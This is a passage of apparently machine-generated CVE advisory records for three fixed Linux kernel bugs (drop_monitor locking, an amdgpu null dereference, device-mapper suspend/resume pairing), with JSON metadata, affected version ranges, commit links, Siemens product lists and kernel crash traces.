                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "2.6.31",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "2.6.31",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "2.6.31",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.31",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrop_monitor: replace spin_lock by raw_spin_lock\n\ntrace_drop_common() is called with preemption disabled, and it acquires\na spin_lock. This is problematic for RT kernels because spin_locks are\nsleeping locks in this configuration, which causes the following splat:\n\nBUG: sleeping function called from invalid context at kernel/locking/spinlock_rt.c:48\nin_atomic(): 1, irqs_disabled(): 1, non_block: 0, pid: 449, name: rcuc/47\npreempt_count: 1, expected: 0\nRCU nest depth: 2, expected: 2\n5 locks held by rcuc/47/449:\n #0: ff1100086ec30a60 ((softirq_ctrl.lock)){+.+.}-{2:2}, at: __local_bh_disable_ip+0x105/0x210\n #1: ffffffffb394a280 (rcu_read_lock){....}-{1:2}, at: rt_spin_lock+0xbf/0x130\n #2: ffffffffb394a280 (rcu_read_lock){....}-{1:2}, at: __local_bh_disable_ip+0x11c/0x210\n #3: ffffffffb394a160 (rcu_callback){....}-{0:0}, at: rcu_do_batch+0x360/0xc70\n #4: ff1100086ee07520 (\u0026data-\u003elock){+.+.}-{2:2}, at: trace_drop_common.constprop.0+0xb5/0x290\nirq event stamp: 139909\nhardirqs last  enabled at (139908): [\u003cffffffffb1df2b33\u003e] _raw_spin_unlock_irqrestore+0x63/0x80\nhardirqs last disabled at (139909): [\u003cffffffffb19bd03d\u003e] trace_drop_common.constprop.0+0x26d/0x290\nsoftirqs last  enabled at (139892): [\u003cffffffffb07a1083\u003e] __local_bh_enable_ip+0x103/0x170\nsoftirqs last disabled at (139898): [\u003cffffffffb0909b33\u003e] rcu_cpu_kthread+0x93/0x1f0\nPreemption disabled at:\n[\u003cffffffffb1de786b\u003e] rt_mutex_slowunlock+0xab/0x2e0\nCPU: 47 PID: 449 Comm: rcuc/47 Not tainted 6.9.0-rc2-rt1+ #7\nHardware name: Dell Inc. PowerEdge R650/0Y2G81, BIOS 1.6.5 04/15/2022\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x8c/0xd0\n dump_stack+0x14/0x20\n __might_resched+0x21e/0x2f0\n rt_spin_lock+0x5e/0x130\n ? trace_drop_common.constprop.0+0xb5/0x290\n ? skb_queue_purge_reason.part.0+0x1bf/0x230\n trace_drop_common.constprop.0+0xb5/0x290\n ? preempt_count_sub+0x1c/0xd0\n ? _raw_spin_unlock_irqrestore+0x4a/0x80\n ? __pfx_trace_drop_common.constprop.0+0x10/0x10\n ? rt_mutex_slowunlock+0x26a/0x2e0\n ? skb_queue_purge_reason.part.0+0x1bf/0x230\n ? __pfx_rt_mutex_slowunlock+0x10/0x10\n ? skb_queue_purge_reason.part.0+0x1bf/0x230\n trace_kfree_skb_hit+0x15/0x20\n trace_kfree_skb+0xe9/0x150\n kfree_skb_reason+0x7b/0x110\n skb_queue_purge_reason.part.0+0x1bf/0x230\n ? __pfx_skb_queue_purge_reason.part.0+0x10/0x10\n ? mark_lock.part.0+0x8a/0x520\n...\n\ntrace_drop_common() also disables interrupts, but this is a minor issue\nbecause we could easily replace it with a local_lock.\n\nReplace the spin_lock with raw_spin_lock to avoid sleeping in atomic\ncontext."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:34.271Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/594e47957f3fe034645e6885393ce96c12286334"
        },
        {
          "url": "https://git.kernel.org/stable/c/96941f29ebcc1e9cbf570dc903f30374909562f5"
        },
        {
          "url": "https://git.kernel.org/stable/c/b3722fb69468693555f531cddda5c30444726dac"
        },
        {
          "url": "https://git.kernel.org/stable/c/f251ccef1d864790e5253386e95544420b7cd8f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/76ce2f9125244e1708d29c1d3f9d1d50b347bda0"
        },
        {
          "url": "https://git.kernel.org/stable/c/07ea878684dfb78a9d4f564c39d07e855a9e242e"
        },
        {
          "url": "https://git.kernel.org/stable/c/f1e197a665c2148ebc25fe09c53689e60afea195"
        }
      ],
      "title": "drop_monitor: replace spin_lock by raw_spin_lock",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40980",
    "datePublished": "2024-07-12T12:32:15.569Z",
    "dateReserved": "2024-07-12T12:17:45.604Z",
    "dateUpdated": "2026-05-12T11:56:03.129Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49890 (GCVE-0-2024-49890)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:01 – Updated: 2026-05-12 11:58

Title

drm/amd/pm: ensure the fw_info is not null before using it

Summary

In the Linux kernel, the following vulnerability has been resolved: drm/amd/pm: ensure the fw_info is not null before using it This resolves the dereference null return value warning reported by Coverity.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/29f388945770bd0a6…
https://git.kernel.org/stable/c/9550d8d6f19fac762…
https://git.kernel.org/stable/c/fd5f4ac1a986f0e7e…
https://git.kernel.org/stable/c/b511474f49588cdca…
https://git.kernel.org/stable/c/8adf4408d482faa51…
https://git.kernel.org/stable/c/016bf0294b4012464…
https://git.kernel.org/stable/c/186fb12e7a7b038c2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3bace359149391c6547cefe3bf729f365bcf3ef6 , < 29f388945770bd0a6c82711436b2bc98b0dfac92 (git) Affected: 3bace359149391c6547cefe3bf729f365bcf3ef6 , < 9550d8d6f19fac7623f044ae8d9503825b325497 (git) Affected: 3bace359149391c6547cefe3bf729f365bcf3ef6 , < fd5f4ac1a986f0e7e9fa019201b5890554f87bcf (git) Affected: 3bace359149391c6547cefe3bf729f365bcf3ef6 , < b511474f49588cdca355ebfce54e7eddbf7b75a5 (git) Affected: 3bace359149391c6547cefe3bf729f365bcf3ef6 , < 8adf4408d482faa51b2c14e60bfd9946ec1911a4 (git) Affected: 3bace359149391c6547cefe3bf729f365bcf3ef6 , < 016bf0294b401246471c6710c6bf9251616228b6 (git) Affected: 3bace359149391c6547cefe3bf729f365bcf3ef6 , < 186fb12e7a7b038c2710ceb2fb74068f1b5d55a4 (git)
Linux	Linux	Affected: 4.5 Unaffected: 0 , < 4.5 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49890",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:44:27.910484Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:48:49.185Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:22:55.437Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:54.766Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/pm/powerplay/hwmgr/processpptables.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "29f388945770bd0a6c82711436b2bc98b0dfac92",
              "status": "affected",
              "version": "3bace359149391c6547cefe3bf729f365bcf3ef6",
              "versionType": "git"
            },
            {
              "lessThan": "9550d8d6f19fac7623f044ae8d9503825b325497",
              "status": "affected",
              "version": "3bace359149391c6547cefe3bf729f365bcf3ef6",
              "versionType": "git"
            },
            {
              "lessThan": "fd5f4ac1a986f0e7e9fa019201b5890554f87bcf",
              "status": "affected",
              "version": "3bace359149391c6547cefe3bf729f365bcf3ef6",
              "versionType": "git"
            },
            {
              "lessThan": "b511474f49588cdca355ebfce54e7eddbf7b75a5",
              "status": "affected",
              "version": "3bace359149391c6547cefe3bf729f365bcf3ef6",
              "versionType": "git"
            },
            {
              "lessThan": "8adf4408d482faa51b2c14e60bfd9946ec1911a4",
              "status": "affected",
              "version": "3bace359149391c6547cefe3bf729f365bcf3ef6",
              "versionType": "git"
            },
            {
              "lessThan": "016bf0294b401246471c6710c6bf9251616228b6",
              "status": "affected",
              "version": "3bace359149391c6547cefe3bf729f365bcf3ef6",
              "versionType": "git"
            },
            {
              "lessThan": "186fb12e7a7b038c2710ceb2fb74068f1b5d55a4",
              "status": "affected",
              "version": "3bace359149391c6547cefe3bf729f365bcf3ef6",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/pm/powerplay/hwmgr/processpptables.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.5"
            },
            {
              "lessThan": "4.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/pm: ensure the fw_info is not null before using it\n\nThis resolves the dereference null return value warning\nreported by Coverity."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:41:14.774Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/29f388945770bd0a6c82711436b2bc98b0dfac92"
        },
        {
          "url": "https://git.kernel.org/stable/c/9550d8d6f19fac7623f044ae8d9503825b325497"
        },
        {
          "url": "https://git.kernel.org/stable/c/fd5f4ac1a986f0e7e9fa019201b5890554f87bcf"
        },
        {
          "url": "https://git.kernel.org/stable/c/b511474f49588cdca355ebfce54e7eddbf7b75a5"
        },
        {
          "url": "https://git.kernel.org/stable/c/8adf4408d482faa51b2c14e60bfd9946ec1911a4"
        },
        {
          "url": "https://git.kernel.org/stable/c/016bf0294b401246471c6710c6bf9251616228b6"
        },
        {
          "url": "https://git.kernel.org/stable/c/186fb12e7a7b038c2710ceb2fb74068f1b5d55a4"
        }
      ],
      "title": "drm/amd/pm: ensure the fw_info is not null before using it",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49890",
    "datePublished": "2024-10-21T18:01:25.634Z",
    "dateReserved": "2024-10-21T12:17:06.025Z",
    "dateUpdated": "2026-05-12T11:58:54.766Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26880 (GCVE-0-2024-26880)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

dm: call the resume method on internal suspend

Summary

In the Linux kernel, the following vulnerability has been resolved: dm: call the resume method on internal suspend There is this reported crash when experimenting with the lvm2 testsuite. The list corruption is caused by the fact that the postsuspend and resume methods were not paired correctly; there were two consecutive calls to the origin_postsuspend function. The second call attempts to remove the "hash_list" entry from a list, while it was already removed by the first call. Fix __dm_internal_resume so that it calls the preresume and resume methods of the table's targets. If a preresume method of some target fails, we are in a tricky situation. We can't return an error because dm_internal_resume isn't supposed to return errors. We can't return success, because then the "resume" and "postsuspend" methods would not be paired correctly. So, we set the DMF_SUSPENDED flag and we fake normal suspend - it may confuse userspace tools, but it won't cause a kernel crash. ------------[ cut here ]------------ kernel BUG at lib/list_debug.c:56! invalid opcode: 0000 [#1] PREEMPT SMP CPU: 1 PID: 8343 Comm: dmsetup Not tainted 6.8.0-rc6 #4 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014 RIP: 0010:__list_del_entry_valid_or_report+0x77/0xc0 <snip> RSP: 0018:ffff8881b831bcc0 EFLAGS: 00010282 RAX: 000000000000004e RBX: ffff888143b6eb80 RCX: 0000000000000000 RDX: 0000000000000001 RSI: ffffffff819053d0 RDI: 00000000ffffffff RBP: ffff8881b83a3400 R08: 00000000fffeffff R09: 0000000000000058 R10: 0000000000000000 R11: ffffffff81a24080 R12: 0000000000000001 R13: ffff88814538e000 R14: ffff888143bc6dc0 R15: ffffffffa02e4bb0 FS: 00000000f7c0f780(0000) GS:ffff8893f0a40000(0000) knlGS:0000000000000000 CS: 0010 DS: 002b ES: 002b CR0: 0000000080050033 CR2: 0000000057fb5000 CR3: 0000000143474000 CR4: 00000000000006b0 Call Trace: <TASK> ? die+0x2d/0x80 ? do_trap+0xeb/0xf0 ? __list_del_entry_valid_or_report+0x77/0xc0 ? do_error_trap+0x60/0x80 ? __list_del_entry_valid_or_report+0x77/0xc0 ? exc_invalid_op+0x49/0x60 ? __list_del_entry_valid_or_report+0x77/0xc0 ? asm_exc_invalid_op+0x16/0x20 ? table_deps+0x1b0/0x1b0 [dm_mod] ? __list_del_entry_valid_or_report+0x77/0xc0 origin_postsuspend+0x1a/0x50 [dm_snapshot] dm_table_postsuspend_targets+0x34/0x50 [dm_mod] dm_suspend+0xd8/0xf0 [dm_mod] dev_suspend+0x1f2/0x2f0 [dm_mod] ? table_deps+0x1b0/0x1b0 [dm_mod] ctl_ioctl+0x300/0x5f0 [dm_mod] dm_compat_ctl_ioctl+0x7/0x10 [dm_mod] __x64_compat_sys_ioctl+0x104/0x170 do_syscall_64+0x184/0x1b0 entry_SYSCALL_64_after_hwframe+0x46/0x4e RIP: 0033:0xf7e6aead <snip> ---[ end trace 0000000000000000 ]---

Severity ?

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/69836d9329f0b4c58…
https://git.kernel.org/stable/c/da7ece2197101b146…
https://git.kernel.org/stable/c/f89bd27709376d37f…
https://git.kernel.org/stable/c/03ad5ad53e51abf3a…
https://git.kernel.org/stable/c/ad10289f68f456498…
https://git.kernel.org/stable/c/15a3fc5c8774c1758…
https://git.kernel.org/stable/c/ef02d8edf738557af…
https://git.kernel.org/stable/c/360a7d1be8112654f…
https://git.kernel.org/stable/c/65e8fbde64520001a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ffcc39364160663cda1a3c358f4537302a92459b , < 69836d9329f0b4c58faaf3d886a7748ddb5bf718 (git) Affected: ffcc39364160663cda1a3c358f4537302a92459b , < da7ece2197101b1469853e6b5e915be1e3896d52 (git) Affected: ffcc39364160663cda1a3c358f4537302a92459b , < f89bd27709376d37ff883067193320c58a8c1d5a (git) Affected: ffcc39364160663cda1a3c358f4537302a92459b , < 03ad5ad53e51abf3a4c7538c1bc67a5982b41dc5 (git) Affected: ffcc39364160663cda1a3c358f4537302a92459b , < ad10289f68f45649816cc68eb93f45fd5ec48a15 (git) Affected: ffcc39364160663cda1a3c358f4537302a92459b , < 15a3fc5c8774c17589dabfe1d642d40685c985af (git) Affected: ffcc39364160663cda1a3c358f4537302a92459b , < ef02d8edf738557af2865c5bfb66a03c4e071be7 (git) Affected: ffcc39364160663cda1a3c358f4537302a92459b , < 360a7d1be8112654f1fb328ed3862be630bca3f4 (git) Affected: ffcc39364160663cda1a3c358f4537302a92459b , < 65e8fbde64520001abf1c8d0e573561b4746ef38 (git)
Linux	Linux	Affected: 3.19 Unaffected: 0 , < 3.19 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 6.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "LOW",
              "integrityImpact": "LOW",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26880",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-16T18:04:34.890631Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-01T17:18:07.417Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:04.209Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/69836d9329f0b4c58faaf3d886a7748ddb5bf718"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/da7ece2197101b1469853e6b5e915be1e3896d52"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f89bd27709376d37ff883067193320c58a8c1d5a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/03ad5ad53e51abf3a4c7538c1bc67a5982b41dc5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ad10289f68f45649816cc68eb93f45fd5ec48a15"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/15a3fc5c8774c17589dabfe1d642d40685c985af"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ef02d8edf738557af2865c5bfb66a03c4e071be7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/360a7d1be8112654f1fb328ed3862be630bca3f4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/65e8fbde64520001abf1c8d0e573561b4746ef38"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:03.912Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/dm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "69836d9329f0b4c58faaf3d886a7748ddb5bf718",
              "status": "affected",
              "version": "ffcc39364160663cda1a3c358f4537302a92459b",
              "versionType": "git"
            },
            {
              "lessThan": "da7ece2197101b1469853e6b5e915be1e3896d52",
              "status": "affected",
              "version": "ffcc39364160663cda1a3c358f4537302a92459b",
              "versionType": "git"
            },
            {
              "lessThan": "f89bd27709376d37ff883067193320c58a8c1d5a",
              "status": "affected",
              "version": "ffcc39364160663cda1a3c358f4537302a92459b",
              "versionType": "git"
            },
            {
              "lessThan": "03ad5ad53e51abf3a4c7538c1bc67a5982b41dc5",
              "status": "affected",
              "version": "ffcc39364160663cda1a3c358f4537302a92459b",
              "versionType": "git"
            },
            {
              "lessThan": "ad10289f68f45649816cc68eb93f45fd5ec48a15",
              "status": "affected",
              "version": "ffcc39364160663cda1a3c358f4537302a92459b",
              "versionType": "git"
            },
            {
              "lessThan": "15a3fc5c8774c17589dabfe1d642d40685c985af",
              "status": "affected",
              "version": "ffcc39364160663cda1a3c358f4537302a92459b",
              "versionType": "git"
            },
            {
              "lessThan": "ef02d8edf738557af2865c5bfb66a03c4e071be7",
              "status": "affected",
              "version": "ffcc39364160663cda1a3c358f4537302a92459b",
              "versionType": "git"
            },
            {
              "lessThan": "360a7d1be8112654f1fb328ed3862be630bca3f4",
              "status": "affected",
              "version": "ffcc39364160663cda1a3c358f4537302a92459b",
              "versionType": "git"
            },
            {
              "lessThan": "65e8fbde64520001abf1c8d0e573561b4746ef38",
              "status": "affected",
              "version": "ffcc39364160663cda1a3c358f4537302a92459b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/dm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.19"
            },
            {
              "lessThan": "3.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
